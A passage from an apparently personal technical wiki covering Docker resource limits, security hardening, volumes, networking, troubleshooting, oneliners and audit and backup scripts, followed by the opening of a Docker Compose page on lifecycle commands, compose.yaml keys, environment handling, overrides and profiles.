(swap = memory-swap - memory) docker run -d --memory 512m --memory-reservation 256m my-app # soft target used under host pressure docker run -d --cpus 1.5 my-app # CFS quota: 1.5 CPUs per period; throttled above that docker run -d --cpu-shares 512 my-app # relative weight under contention only (default 1024) docker run -d --cpuset-cpus 2-3 my-app # pin to CPUs 2 and 3 docker run -d --pids-limit 256 my-app # fork-bomb protection docker run -d --ulimit nofile=65536:65536 --ulimit nproc=4096 my-app docker run -d --shm-size 1g my-app # /dev/shm, 64 MB by default; browsers and PostgreSQL need more docker run -d --device-read-bps /dev/sda:50mb --device-write-iops /dev/sda:1000 my-app docker update --memory 1g --memory-swap 1g --cpus 2 my-app # live change; memory-swap must be updated with memory docker stats --no-stream --format 'table {{.Name}}\t{{.CPUPerc}}\t{{.MemUsage}}\t{{.MemPerc}}\t{{.PIDs}}' docker exec my-app cat /sys/fs/cgroup/cpu.stat /sys/fs/cgroup/memory.max /sys/fs/cgroup/memory.events # throttling and OOM counters from inside ``` `--cpus` throttles in 100 ms periods, so a container averaging 50% of its quota can still stall for tens of milliseconds in bursts; `nr_throttled` in `cpu.stat` shows it. JVMs and Go runtimes read the cgroup limit and size their heaps and `GOMAXPROCS` accordingly (Go 1.25+ for `GOMAXPROCS`); older runtimes see the host's CPUs and memory and need `-XX:MaxRAMPercentage` or `GOMAXPROCS` set explicitly. `--oom-kill-disable` exists and should not be used: the container then hangs instead of dying. Interpretation of the cgroup counters is covered in [Linux performance](https://www.wiki.jodisand.me/linux-performance/#cgroup-accounting). ## Security options The default container has a root user, a default seccomp profile, a bounded capability set and a private network namespace. Each of the following narrows it further; apply them in the image where possible and in the run configuration otherwise. ```sh docker run -d --user 10001:10001 my-app # never rely on the image's USER when you did not build it docker run -d --read-only --tmpfs /tmp:rw,noexec,nosuid,size=64m -v my-data:/app/data my-app docker run -d --cap-drop ALL --cap-add NET_BIND_SERVICE my-app docker run -d --security-opt no-new-privileges:true my-app # setuid binaries and file capabilities cannot raise privileges docker run -d --security-opt seccomp=/etc/docker/seccomp/my-app.json my-app # custom syscall allowlist; default profile blocks ~44 syscalls docker run -d --security-opt apparmor=docker-default my-app # Debian/Ubuntu; SELinux hosts label containers as container_t automatically docker run -d --security-opt label=type:my_container_t my-app # custom SELinux type (Fedora/RHEL, needs a policy module) docker run -d --security-opt label=disable -v /var/log:/host/log:ro my-app # skip SELinux labelling for one container; prefer :z or :Z docker run -d --userns=host my-app # opt out of daemon-level user namespace remapping for one container docker run -d --pull always registry.example.com/my-app@sha256:... # pin the digest and refuse a stale local copy docker inspect -f '{{.HostConfig.Privileged}} {{.HostConfig.CapAdd}} {{.HostConfig.SecurityOpt}} {{.Config.User}}' my-app docker container ls -q | xargs docker inspect -f '{{.Name}} privileged={{.HostConfig.Privileged}} user={{.Config.User}}' ``` Daemon-wide hardening in `/etc/docker/daemon.json`: `"userns-remap": "default"` maps container root to an unprivileged host UID range (breaks bind mounts owned by host users and needs a one-off migration of image storage), `"no-new-privileges": true` applies that option to every container, `"icc": false` stops containers on the default bridge talking to each other, and `"live-restore": true` keeps containers running across a daemon restart. Rootless Docker (`dockerd-rootless-setuptool.sh install`) runs the daemon itself without root and is the strongest option where it fits. > [!WARNING] `--privileged` and the socket > `--privileged` disables seccomp, AppArmor and SELinux confinement, grants every capability and exposes every host device; it is host root with extra steps. Mounting `/var/run/docker.sock` into a container has the same effect, since anything that can talk to the daemon can start a privileged container. Membership of the `docker` group is equivalent to root for the same reason. ## Volumes and bind mounts Writes inside a container land in its writable layer and are removed with the container. A named volume is a directory the daemon manages under `/var/lib/docker/volumes`. A bind mount grafts a host path into the container with host ownership and permissions intact. ```sh docker volume create my-data docker run -d -v my-data:/var/lib/postgresql/data postgres:17 # named volume docker run -v "$PWD/src:/app/src:ro,Z" my-app # bind mount, read-only, SELinux relabel docker run --mount type=tmpfs,destination=/tmp my-app # memory-backed scratch docker volume inspect my-data # Mountpoint on the host docker volume ls -f dangling=true # not attached to any container ``` A new empty named volume is populated from the image's content at the mount path the first time it is mounted. A bind mount is never populated: it hides whatever the image had at that path. Back up a named volume to a tarball in the current directory: ```sh docker run --rm -v my-data:/data:ro -v "$PWD:/backup" alpine:3.24 tar czf /backup/my-data.tgz -C /data . ``` Stop the writing container first for databases, or use the database's own dump tool (see [PostgreSQL](https://www.wiki.jodisand.me/postgresql/)); a file copy of a live data directory can be inconsistent. ## Networks and published ports On a user-defined network the daemon runs an embedded DNS resolver at `127.0.0.11`, so containers reach each other by container name or `--network-alias`. The default `bridge` network has no name resolution, which explains most "works in Compose, fails with `docker run`" reports. ```sh docker network create my-net docker run -d --network my-net --name db postgres:17 docker run --rm --network my-net alpine:3.24 getent hosts db # prints the container IP docker network connect my-net my-app # attach a running container docker network inspect my-net -f '{{json .Containers}}' docker port my-app # published port mappings ``` | Mode | Behaviour | | --- | --- | | `bridge` (default) | Private network behind NAT; reachable from outside only through published ports; no DNS | | User-defined bridge | Same, plus DNS by name and isolation from other networks | | `host` | Shares the host network namespace; `-p` is ignored; the process binds host ports directly | | `none` | Loopback only | | `container:` | Shares another container's network namespace (same IP and ports) | Docker programs NAT and filter rules itself (iptables by default; an nftables backend exists and is selected with the daemon's `firewall-backend` option). Published ports are translated in the `nat` table before host firewall rules such as ufw see the packet, so a port published on `0.0.0.0` can be reachable even when the host firewall appears to block it. With firewalld, Docker adds a `docker` zone. Publish on `127.0.0.1` anything that should not leave the host. See [packet filtering and firewalls](https://docs.docker.com/engine/network/packet-filtering-firewalls/). For inspecting the resulting interfaces and routes, see [iproute2](https://www.wiki.jodisand.me/iproute2/). ## Logs and debugging `docker logs` reads what the logging driver captured from PID 1's stdout and stderr. The default `json-file` driver does not rotate unless `max-size` is set in `/etc/docker/daemon.json`, so long-running chatty containers can fill `/var/lib/docker`. ```sh docker logs -f --since 15m --timestamps my-app docker exec -it my-app sh # bash on Debian/Ubuntu-based images docker exec my-app ps -eo pid,comm,rss # what is actually running docker stats --no-stream # CPU, memory, network and block I/O per container docker top my-app # host-side view of the container's processes docker diff my-app # files added (A), changed (C) or deleted (D) since start docker events --since 10m --filter container=my-app # die, oom, kill and health_status events ``` Debug a minimal image with no shell by joining its PID and network namespaces from a tools image: ```sh docker run --rm -it --pid container:my-app --network container:my-app --cap-add SYS_PTRACE nicolaka/netshoot ``` Inside, `ps`, `ss -tlnp`, `curl` and `tcpdump` see the target container's processes and sockets. ## Registries and multi-platform builds ```sh printf '%s' "$REGISTRY_TOKEN" | docker login registry.example.com -u alice --password-stdin docker buildx build --platform linux/amd64,linux/arm64 -t registry.example.com/my-app:1.0 --push . ``` Without a credential helper (`credsStore` in `~/.docker/config.json`), credentials are stored in that file base64-encoded, not encrypted. `--password-stdin` keeps the token out of shell history and the process list. A multi-platform build produces one manifest list with an image per platform. Building a foreign platform uses QEMU emulation unless the builder has native nodes, and is much slower. ## Cleaning up disk space ```sh docker system df -v # what is using the space, per object docker container prune # stopped containers docker image prune # dangling (untagged) images docker image prune -a --filter "until=168h" # every image not used by a container, older than 7 days docker builder prune --keep-storage 10GB # trim BuildKit cache, often the largest item docker system prune # stopped containers, unused networks, dangling images, build cache ``` > [!WARNING] Volume prune deletes data > `docker volume prune` and `docker system prune --volumes` remove unused anonymous volumes. `docker volume prune -a` (API 1.42+, Engine 23+) also removes unused **named** volumes, which is where databases usually live. "Unused" means no container, running or stopped, references it; a stack that is down with `docker compose down` has no containers. Run `docker system df -v` first. ## Troubleshooting | Symptom | Cause | Check | | --- | --- | --- | | `Cannot connect to the Docker daemon` | Daemon not running, wrong context, or user not in the `docker` group | `systemctl status docker`, `docker context ls`, `id` | | `permission denied ... docker.sock` | User lacks access to the socket | Group membership needs a new login; the `docker` group is root-equivalent | | `port is already allocated` | Another container or host process holds the port | `docker ps --format '{{.Names}}\t{{.Ports}}'`, `ss -tlnp` | | `no space left on device` during build | Build cache or images filled `/var/lib/docker` | `docker system df`, then prune the cache | | `exec format error` | Image built for another architecture | `docker image inspect -f '{{.Architecture}}' my-app:1.0` | | `manifest unknown` or `not found` on pull | Tag does not exist for this platform, or wrong registry path | `docker buildx imagetools inspect ` | | Container cannot reach the internet | DNS from the host's resolver, or forwarding disabled | `docker run --rm alpine:3.24 nslookup example.com`, `sysctl net.ipv4.ip_forward` | | `docker stop` always takes 10 s | PID 1 ignores SIGTERM (shell form, or no signal handler) | Use exec form or `--init` | | Health status stuck at `starting` | Health command fails or the tool it calls is missing from the image | `docker inspect -f '{{json .State.Health}}' my-app` | | `failed to solve: ... --mount option requires BuildKit` | Legacy builder in use | `DOCKER_BUILDKIT=1`, or upgrade; BuildKit is the default since Engine 23 | | Cache mount empty on every CI run | Builder storage is not persisted between jobs | Use `--cache-to/--cache-from` for layers; accept that cache mounts are per builder | | `COPY failed: file not found in build context` | File excluded by `.dockerignore`, or path outside the context | `docker build --progress=plain` shows the transferred context; check the ignore file | | Build slow, "transferring context" takes minutes | `.git`, `node_modules` or data directories in the context | Add them to `.dockerignore`; check with `du -sh` in the context directory | | Multi-platform build fails with `exec format error` inside `RUN` | Emulation not installed on the builder | `docker run --privileged --rm tonistiigi/binfmt --install all`, or cross-compile with `$BUILDPLATFORM` | | `docker logs` prints nothing for a driver such as `fluentd` | Driver does not support reading back; dual logging off | Read at the collector, or enable `cache-disabled: false` in the driver options | | `/var/lib/docker/containers` growing | `json-file` without rotation | Set `log-opts` `max-size` in `daemon.json`; recreate containers | | Container killed at exactly the limit but `free` inside shows plenty | `free` reports host memory; the cgroup limit is what applies | `cat /sys/fs/cgroup/memory.max`, `memory.events` inside the container | | Application sees all host CPUs and over-parallelises | Runtime not cgroup-aware (Java < 10, Go < 1.25 for `GOMAXPROCS`) | Set `GOMAXPROCS`, `-XX:ActiveProcessorCount` or the equivalent to match `--cpus` | | `operation not permitted` after `--cap-drop ALL` | Process needs a capability (bind < 1024, chown, raw sockets) | Add capabilities back one at a time; `NET_BIND_SERVICE`, `CHOWN`, `SETUID`/`SETGID` are the usual ones; `journalctl -k -g audit` shows denials on SELinux hosts | | `Read-only file system` with `--read-only` | Application writes to a path not covered by a volume or tmpfs | `docker diff` on a writable run to find the paths, then add `--tmpfs` or a volume | For host-level CPU, memory and I/O pressure, see [Linux performance](https://www.wiki.jodisand.me/linux-performance/#the-first-minute). For the daemon itself, `journalctl -u docker` (see [systemd](https://www.wiki.jodisand.me/systemd/#a-failing-service)). ## Oneliners ```sh # Stop every running container docker stop $(docker ps -q) # Remove every exited container docker rm $(docker ps -aq -f status=exited) # Every container's IP on every network docker inspect -f '{{.Name}} {{range .NetworkSettings.Networks}}{{.IPAddress}} {{end}}' $(docker ps -q) # Images sorted by size docker image ls --format '{{.Size}}\t{{.Repository}}:{{.Tag}}' | sort -h -r | head # Environment of a running container (may print secrets) docker inspect -f '{{range .Config.Env}}{{println .}}{{end}}' my-app # Which container publishes port 8080 docker ps --format '{{.Names}}\t{{.Ports}}' | grep ':8080->' # Wait until a health check passes until [ "$(docker inspect -f '{{.State.Health.Status}}' my-app)" = healthy ]; do sleep 1; done # Containers with their restart policy and restart count (spot crash loops) docker ps -a --format '{{.Names}}' | xargs docker inspect -f '{{.Name}} {{.HostConfig.RestartPolicy.Name}} restarts={{.RestartCount}} {{.State.Status}}' # Containers running as root docker ps -q | xargs docker inspect -f '{{.Name}} user={{.Config.User}}' | awk '$2 == "user=" || $2 == "user=root" || $2 == "user=0"' # Containers with no memory limit docker ps -q | xargs docker inspect -f '{{.Name}} {{.HostConfig.Memory}}' | awk '$2 == 0' # Memory usage against limit, sorted docker stats --no-stream --format '{{.MemPerc}}\t{{.MemUsage}}\t{{.Name}}' | sort -rn | head # Containers with a mounted Docker socket (root-equivalent) docker ps -q | xargs docker inspect -f '{{.Name}} {{range .Mounts}}{{.Source}} {{end}}' | grep docker.sock # Digest a container is actually running, for comparison with the registry docker inspect -f '{{.Image}}' my-app | xargs docker image inspect -f '{{index .RepoDigests 0}}' # Log size per container sudo sh -c 'for f in /var/lib/docker/containers/*/*-json.log; do printf "%s %s\n" "$(du -m "$f" | cut -f1)" "$(basename "$(dirname "$f")" | cut -c1-12)"; done' | sort -rn | head # Resolve a short container ID to a name docker ps -a --no-trunc --format '{{.ID}} {{.Names}}' | grep '^abc123' # Export an image as a tarball and import it on an offline host docker save my-app:1.0 | zstd -T0 > my-app-1.0.tar.zst; zstd -dc my-app-1.0.tar.zst | docker load # Flatten the filesystem of a container into a plain tar (no history, no metadata) docker export my-app | tar -tvf - | head # Build with full logs and keep the failing layer's state for inspection docker build --progress=plain --target build . 2>&1 | tee build.log # List the files a Dockerfile stage would produce, without creating an image docker buildx build --target build --output type=tar,dest=- . | tar -tvf - | head -40 # Layers of an image with the command that created each, largest first docker history --no-trunc --format '{{.Size}}\t{{.CreatedBy}}' my-app:1.0 | sort -h -r | head # Compare the packages installed in two image versions (Debian-based) diff <(docker run --rm my-app:1.0 dpkg-query -W) <(docker run --rm my-app:1.1 dpkg-query -W) # Run a one-off command in the same network as a container, with a tools image docker run --rm --network container:my-app nicolaka/netshoot curl -sS http://127.0.0.1:8080/health # Copy a file into a running container without docker cp (works with read-only root if the target is a volume) tar -cf - config.yaml | docker exec -i my-app tar -xf - -C /app/data # Follow logs from several containers with names prefixed docker compose logs -f 2>/dev/null || for c in web worker; do docker logs -f --tail 20 "$c" 2>&1 | sed "s/^/[$c] /" & done; wait # Events for the last hour as JSON lines: OOMs, restarts, health flips docker events --since 1h --until "$(date +%s)" --format '{{json .}}' | jq -r 'select(.status | IN("oom", "die", "health_status: unhealthy")) | [.time, .status, .Actor.Attributes.name] | @tsv' # Dangling volumes with their size docker system df -v | awk '/^VOLUME NAME/{f=1; next} f && $2 == 0 {print $1, $3}' # Remove images older than 30 days that no container uses docker image prune -a --filter 'until=720h' --force # Check whether the daemon is on cgroup v2 and which storage driver it uses docker info --format '{{.CgroupVersion}} {{.Driver}} {{.LoggingDriver}}' ``` ## Scripts Audit every running container for the risky settings that appear in incident reviews: privileged mode, host networking, mounted Docker socket, root user, no memory limit, missing healthcheck, and `json-file` logging without rotation. Read-only; one line per finding. ```sh #!/usr/bin/env bash # usage: docker-audit.sh [container...] default: all running containers set -euo pipefail mapfile -t ids < <(if (( $# )); then printf '%s\n' "$@"; else docker ps -q; fi) (( ${#ids[@]} )) || { echo 'no containers'; exit 0; } findings=0 note() { printf '%-28s %s\n' "$1" "$2"; (( findings++ )) || true; } for id in "${ids[@]}"; do j=$(docker inspect "$id") name=$(jq -r '.[0].Name | ltrimstr("/")' <<< "$j") jq -e '.[0].HostConfig.Privileged' <<< "$j" >/dev/null && note "$name" 'privileged' [[ $(jq -r '.[0].HostConfig.NetworkMode' <<< "$j") == host ]] && note "$name" 'host network' [[ $(jq -r '.[0].HostConfig.PidMode' <<< "$j") == host ]] && note "$name" 'host PID namespace' jq -e '.[0].Mounts[] | select(.Source | test("docker.sock$"))' <<< "$j" >/dev/null && note "$name" 'docker socket mounted' [[ $(jq -r '.[0].Config.User' <<< "$j") =~ ^(|root|0|0:0)$ ]] && note "$name" 'runs as root' [[ $(jq -r '.[0].HostConfig.Memory' <<< "$j") == 0 ]] && note "$name" 'no memory limit' [[ $(jq -r '.[0].HostConfig.PidsLimit // 0' <<< "$j") == 0 ]] && note "$name" 'no pids limit' jq -e '.[0].HostConfig.CapAdd // [] | index("SYS_ADMIN")' <<< "$j" >/dev/null && note "$name" 'CAP_SYS_ADMIN added' jq -e '.[0].State.Health == null' <<< "$j" >/dev/null && note "$name" 'no healthcheck' if [[ $(jq -r '.[0].HostConfig.LogConfig.Type' <<< "$j") == json-file ]] && ! jq -e '.[0].HostConfig.LogConfig.Config["max-size"]' <<< "$j" >/dev/null; then note "$name" 'json-file logging without max-size' fi done printf '%d findings across %d containers\n' "$findings" "${#ids[@]}" (( findings == 0 )) ``` Back up every named volume on the host to compressed tarballs, skipping volumes attached to a running container unless `--stop` is given, in which case the containers are stopped for the copy and started again. Stops services when run with `--stop`. ```sh #!/usr/bin/env bash # usage: volume-backup.sh [--stop] DEST_DIR set -euo pipefail stop=0 [[ ${1:-} == --stop ]] && { stop=1; shift; } dest=${1:?destination directory} mkdir -p "$dest" stamp=$(date +%Y%m%dT%H%M%S) while IFS= read -r vol; do mapfile -t running < <(docker ps -q --filter "volume=$vol") if (( ${#running[@]} )); then if (( stop )); then docker stop "${running[@]}" >/dev/null; else printf 'skip %s: in use by running container(s)\n' "$vol" >&2; continue; fi fi out=$dest/$vol-$stamp.tar.zst docker run --rm -v "$vol:/data:ro" -v "$dest:/backup" alpine:3.24 \ sh -c 'apk add --no-cache zstd >/dev/null && tar -C /data -cf - . | zstd -T0 -q > "/backup/$0"' "$(basename "$out")" printf '%s %s\n' "$(du -h "$out" | cut -f1)" "$out" if (( ${#running[@]} && stop )); then docker start "${running[@]}" >/dev/null; fi done < <(docker volume ls -q --filter dangling=false; docker volume ls -q --filter dangling=true) ``` Report the image each running container was started from, whether the tag now points at a different digest in the registry, and the age of the running image. Read-only, needs network access to the registries. ```sh #!/usr/bin/env bash # usage: image-drift.sh set -euo pipefail printf '%-30s %-45s %-8s %s\n' CONTAINER IMAGE AGE STATUS for id in $(docker ps -q); do name=$(docker inspect -f '{{.Name}}' "$id"); name=${name#/} ref=$(docker inspect -f '{{.Config.Image}}' "$id") local_digest=$(docker inspect -f '{{.Image}}' "$id" | xargs docker image inspect -f '{{if .RepoDigests}}{{index .RepoDigests 0}}{{end}}' | sed 's/.*@//') created=$(docker inspect -f '{{.Image}}' "$id" | xargs docker image inspect -f '{{.Created}}') age=$(( ($(date +%s) - $(date -d "$created" +%s)) / 86400 ))d if [[ $ref == *@sha256:* ]]; then status=pinned elif remote=$(timeout 20 docker buildx imagetools inspect "$ref" --format '{{json .Manifest.Digest}}' 2>/dev/null | tr -d '"'); then [[ $remote == "$local_digest" ]] && status=current || status="STALE (registry $remote)" else status='registry unreachable'; fi printf '%-30s %-45s %-8s %s\n' "$name" "$ref" "$age" "$status" done ``` ## Further reading - [Dockerfile reference](https://docs.docker.com/reference/dockerfile/): every instruction, `--mount` types and the `# syntax` directive. - [docker run reference](https://docs.docker.com/reference/cli/docker/container/run/): the complete flag list for resources, security and logging. - [Build cache](https://docs.docker.com/build/cache/) and [cache backends](https://docs.docker.com/build/cache/backends/): invalidation rules and `--cache-to` types. - [Logging drivers](https://docs.docker.com/engine/logging/configure/): options per driver, dual logging and `daemon.json` defaults. - [Runtime metrics and resource constraints](https://docs.docker.com/engine/containers/resource_constraints/): how `--memory`, `--cpus` and the rest map to cgroup controls. - [Docker security](https://docs.docker.com/engine/security/): capabilities, seccomp, AppArmor, user namespaces and rootless mode. --- # Docker Compose > Run and debug multi-container stacks with Compose v2: commands, the compose.yaml keys that matter, and how recreation, dependencies and overrides behave. Canonical: https://www.wiki.jodisand.me/docker-compose/ Reviewed: 2026-09-24 Related: [Docker](https://www.wiki.jodisand.me/docker/index.md), [Kubernetes](https://www.wiki.jodisand.me/kubernetes/index.md), [Traefik](https://www.wiki.jodisand.me/traefik/index.md), [PostgreSQL](https://www.wiki.jodisand.me/postgresql/index.md) ## Cheatsheet | Task | Command | | --- | --- | | Start detached, wait until running or healthy | `docker compose up -d --wait` | | Rebuild images and start | `docker compose up -d --build` | | Pull newer images and recreate what changed | `docker compose pull && docker compose up -d` | | Stop and remove containers and networks | `docker compose down` | | Also delete the project's volumes (data loss) | `docker compose down -v` | | Status and health, including stopped | `docker compose ps -a` | | Follow one service's logs | `docker compose logs -f --tail 50 web` | | Shell in a running service | `docker compose exec web sh` | | One-off task container | `docker compose run --rm web ./migrate` | | Resolved, merged configuration | `docker compose config` | | Scale one service | `docker compose up -d --scale worker=3` | | Recreate even if nothing changed | `docker compose up -d --force-recreate` | | Second isolated copy of the stack | `docker compose -p feature-x up -d` | | Sync or rebuild on file change | `docker compose watch` | > [!NOTE] `docker compose`, not `docker-compose` > Compose v1 (the Python `docker-compose` script) stopped receiving updates in July 2023. v2 is a Docker CLI plugin written in Go. The top-level `version:` key is obsolete; Compose ignores it and prints a warning. The file format is the [Compose Specification](https://docs.docker.com/reference/compose-file/). For the underlying container, image, volume and network behaviour, see [Docker](https://www.wiki.jodisand.me/docker/). ## How Compose decides what to change Compose stores a hash of each service's resolved configuration in a container label (`com.docker.compose.config-hash`). On `up` it compares that hash, and the image the container was created from, with what it just read. Unchanged containers are left running. A container whose configuration or image changed is stopped and recreated, with its volumes reattached. `up` does not pull or rebuild on its own when an image already exists locally. A new upstream tag is only picked up after `docker compose pull` (or `up --pull always`), and changed source only after `--build`. Every resource is scoped by project name, which prefixes containers, networks and volumes and is recorded in the `com.docker.compose.project` label. The name comes from, in order: `-p`, `COMPOSE_PROJECT_NAME`, the top-level `name:` key, then the directory containing the Compose file. Two checkouts with different project names run side by side without seeing each other. ```sh docker compose config # merged result after overrides and ${VAR} interpolation docker compose config --services # service names only docker compose -p feature-x up -d # isolated copy of the same file docker compose ls # every project running on this daemon ``` Recreating a database service reattaches its old volume, which is why a changed init script (for example `/docker-entrypoint-initdb.d` in the postgres image) appears to do nothing: it only runs against an empty data directory. ## Lifecycle commands ```sh docker compose up -d # create or update to match the file docker compose up -d --wait --wait-timeout 120 # block until running, or healthy where a healthcheck exists docker compose up -d --no-deps web # only this service, leave its dependencies alone docker compose stop # stop processes, keep containers docker compose start docker compose restart web # restarts the process; does not apply file changes docker compose down # remove containers and the default network docker compose down --remove-orphans # also remove containers for services no longer in the file ``` > [!WARNING] `down -v` deletes data > `docker compose down -v` removes named volumes declared in the file and anonymous volumes attached to the containers. Named volumes marked `external: true` are kept. `--wait` waits for `healthy` on services with a healthcheck and only for `running` on the rest. Running is not ready, so give every service that others depend on a healthcheck. A CI pattern: ```sh docker compose up -d --wait --wait-timeout 120 ./run-tests docker compose down -v ``` `restart` only restarts the process with the existing container configuration. To apply an edited `compose.yaml` or `.env`, run `up -d` again. ## compose.yaml reference ```yaml name: my-app services: web: build: context: . dockerfile: Dockerfile args: APP_ENV: production image: registry.example.com/web:1.0 # tag for the built image, or the image to pull command: ["server", "--port", "8080"] # replaces the image CMD ports: - "127.0.0.1:8080:8080" # host_ip:host_port:container_port environment: DB_HOST: db DB_PASSWORD: ${DB_PASSWORD:?set DB_PASSWORD in .env} env_file: - path: ./web.env required: false # skip silently when the file is missing volumes: - ./src:/app/src:ro,Z # bind mount; Z relabels for SELinux - webdata:/app/data depends_on: db: condition: service_healthy restart: true # restart web when db is restarted by Compose migrate: condition: service_completed_successfully restart: unless-stopped user: "10001:10001" healthcheck: test: ["CMD", "wget", "-qO-", "http://127.0.0.1:8080/health"] interval: 10s timeout: 3s retries: 3 start_period: 30s deploy: resources: limits: { cpus: "1.5", memory: 512M } migrate: image: registry.example.com/web:1.0 command: ["./migrate"] depends_on: db: condition: service_healthy db: image: postgres:17 environment: POSTGRES_PASSWORD: ${DB_PASSWORD:?} volumes: - dbdata:/var/lib/postgresql/data healthcheck: test: ["CMD-SHELL", "pg_isready -U postgres"] interval: 5s retries: 10 volumes: webdata: dbdata: ``` | Key | Behaviour | | --- | --- | | `depends_on` (list form) | Start and stop order only; says nothing about readiness | | `depends_on..condition` | `service_started`, `service_healthy` or `service_completed_successfully` | | `depends_on..restart` | `true` restarts this service after Compose updates (recreates or restarts) the dependency (2.17+) | | `depends_on..required` | `false` downgrades a missing dependency to a warning (2.20+) | | `healthcheck.start_period` | Failures in this window do not count towards `retries` | | `healthcheck.start_interval` | Check interval during `start_period` (Compose 2.20.2+) | | `restart` | `no`, `always`, `on-failure[:max]`, `unless-stopped`; enforced by the Docker daemon | | `deploy.resources.limits` | Applied by `docker compose up` on a single host despite the Swarm-era name | | `ports` vs `expose` | `ports` publishes on the host; `expose` is metadata only | | `profiles` | The service starts only when one of its profiles is active | | `develop.watch` | Sync, rebuild or restart rules for `docker compose watch` | | `extra_hosts` | Adds `/etc/hosts` entries; `host.docker.internal:host-gateway` reaches the host | | `external: true` (volumes, networks) | Compose uses an existing resource and never creates or deletes it | Compose creates a `_default` network. Services on it resolve each other by service name through Docker's embedded DNS; `links` is legacy and unnecessary. ## Environment files and interpolation Two different mechanisms share the word "env": | Mechanism | Used for | Source | | --- | --- | --- | | Interpolation `${VAR}` | Substituting values into the Compose file itself | Shell environment, then `.env` in the project directory (the first `-f` file's directory by default), or files given with `--env-file` instead | | `environment:` and `env_file:` | Setting variables inside the container | The Compose file; `env_file` contents are not used for interpolation | Shell variables override `.env`. Syntax: `${VAR:-default}` uses the default when unset or empty, `${VAR-default}` only when unset, `${VAR:?message}` fails the command when unset or empty. Write `$$` for a literal `$`. ```sh docker compose --env-file .env.staging config # check interpolation before applying docker compose config --environment # show the variables used for interpolation ``` ## Overrides, merging and profiles With no `-f`, Compose reads `compose.yaml` and then `compose.override.yaml` if it exists. With `-f`, only the files given are read, in order, each merged over the previous. See [merge rules](https://docs.docker.com/reference/compose-file/merge/). | Kind of value | Merge result | | --- | --- | | Mappings (`environment`, `labels`, `deploy`) | Merged key by key; later file wins on conflict | | Scalars (`image`, `restart`) | Replaced | | Sequences in general (`dns`, `cap_add`) | Appended | | `command`, `entrypoint`, `healthcheck.test` | Replaced | | `ports` | Merged by `{ip, target, published, protocol}`; new entries appended | | `volumes`, `secrets`, `configs` | Merged by container `target` path | Two YAML tags change this: `!reset` removes a value inherited from an earlier file, and `!override` replaces it instead of merging. ```sh docker compose -f compose.yaml -f compose.prod.yaml up -d docker compose --profile debug up -d # also start services tagged with the debug profile ``` ```yaml # compose.prod.yaml: only the differences services: web: build: !reset null # use the registry image, never build in prod ports: !override - "8080:8080" environment: LOG_LEVEL: warn ``` `include:` pulls in another Compose file as a separate application with its own project directory, which avoids the relative-path surprises of stacking `-f` files from different directories. ## Profiles A service with `profiles:` is created only when one of those profiles is active. Services without the key always start. Profiles select optional parts of one stack (debug tooling, a local database instead of a managed one, load generators) without a second file. ```yaml services: web: image: registry.example.com/web:1.0 db: image: postgres:17 profiles: [local-db] pgadmin: image: dpage/pgadmin4:9 profiles: [debug, local-db] loadgen: image: grafana/k6:1.0.0 profiles: [test] depends_on: [web] ``` ```sh docker compose up -d # web only docker compose --profile local-db up -d # web, db, pgadmin COMPOSE_PROFILES=debug,test docker compose up -d docker compose --profile '*' config --services # every service regardless of profile docker compose run --rm loadgen run /scripts/smoke.js # naming a profiled service on the command line activates it implicitly docker compose --profile local-db down # down without the profile leaves db running and warns about orphans ``` A dependency listed under `depends_on` must be active too, otherwise `up` fails with a message about the missing service; give the dependency the same profile or none. `down`, `stop` and `ps` only see services in active profiles, which is why a `down` after a profiled `up` can leave containers behind. ## include and extends `include` composes whole applications; `extends` reuses one service definition. They solve different problems and are often used together. ```yaml # compose.yaml include: - path: ../shared/observability/compose.yaml # its relative paths resolve against its own directory project_directory: ../shared/observability env_file: ../shared/observability/.env # interpolation for that file only - ./compose.db.yaml # short form services: web: extends: file: ./common.yaml service: app-base image: registry.example.com/web:1.0 command: ["server"] worker: extends: file: ./common.yaml service: app-base command: ["worker"] ``` ```yaml # common.yaml: never run directly services: app-base: restart: unless-stopped user: "10001:10001" read_only: true tmpfs: [/tmp] logging: driver: local options: { max-size: 20m } env_file: - path: ./app.env required: false ``` Included files become part of the same project (one network, one project name), but a service name defined twice is an error rather than a merge; use `-f` stacking when a later file should override an earlier one. Files pulled in through `include` are interpolated with their own `.env` unless `env_file` says otherwise. `extends` copies every key except `depends_on` and `volumes_from`, and the extending service's own keys merge over the copy with the same rules as override files. Relative paths in an extended service (`build.context`, bind mounts, `env_file`) are resolved against the file that defines them, then rewritten, so `./app.env` in `common.yaml` means the file beside `common.yaml`. YAML anchors are the third reuse tool and need no Compose support: `x-` top-level keys are ignored by Compose, so `x-logging: &logging {driver: local}` then `logging: *logging` in each service keeps repeated fragments in one place inside one file. ## depends_on conditions in practice `depends_on` controls three things: creation and start order, stop order (dependents stop first), and, with a condition, what Compose waits for before starting the dependent. It does not restart a dependent when its dependency changes unless `restart: true` is set, and it is not enforced by the Docker daemon after `up` returns. | Condition | `up` proceeds when | Use for | | --- | --- | --- | | `service_started` (default) | The dependency's container is running | Order only; the application retries connections itself | | `service_healthy` | The dependency reports `healthy` | Databases, brokers, anything with a real readiness probe | | `service_completed_successfully` | The dependency exited with code 0 | Migrations, seeders, certificate bootstrap | ```yaml services: migrate: image: registry.example.com/web:1.0 command: ["./migrate", "up"] restart: "no" # a one-shot must not restart, or it never "completes" depends_on: db: { condition: service_healthy } web: depends_on: migrate: { condition: service_completed_successfully } db: { condition: service_healthy, restart: true } cache: { condition: service_started, required: false } # optional dependency (2.20+) ``` A healthcheck that never passes blocks `up` until `--wait-timeout` or forever without `--wait`; `docker compose ps` shows the dependency as `(health: starting)` while `up` hangs. A `service_completed_successfully` dependency with `restart: unless-stopped` never completes because the daemon restarts it. `up --no-deps web` skips the dependency logic entirely, and `run` respects it unless `--no-deps` is given. ## Environment precedence Values reach a container from several places, and the same variable set in two of them is resolved in a fixed order. From highest to lowest priority: 1. `docker compose run -e VAR=value` (or `-e VAR` to pass the shell's value). 2. `environment:` in the Compose file, after interpolation. A bare `- VAR` entry passes through the shell's value. 3. `env_file:` files, in the order listed; later files win over earlier ones. 4. `ENV` instructions in the image's Dockerfile. Interpolation is separate and happens before any of that: `${VAR}` in the file is replaced from the shell environment first, then `.env` (or the `--env-file` files), and the result is what step 2 sees. `env_file` contents are never used for interpolation, and `.env` is never passed into containers unless a service lists it under `env_file`. ```sh docker compose config | grep -A5 'environment:' # the resolved values that will reach the container docker compose run --rm web env | sort # what the process sees, including image ENV docker compose --env-file .env.staging config --environment # interpolation variables and where they came from COMPOSE_ENV_FILES=.env,.env.local docker compose up -d # several interpolation files (2.24+) ``` `environment:` entries with a value override `env_file` regardless of order in the YAML. Compose 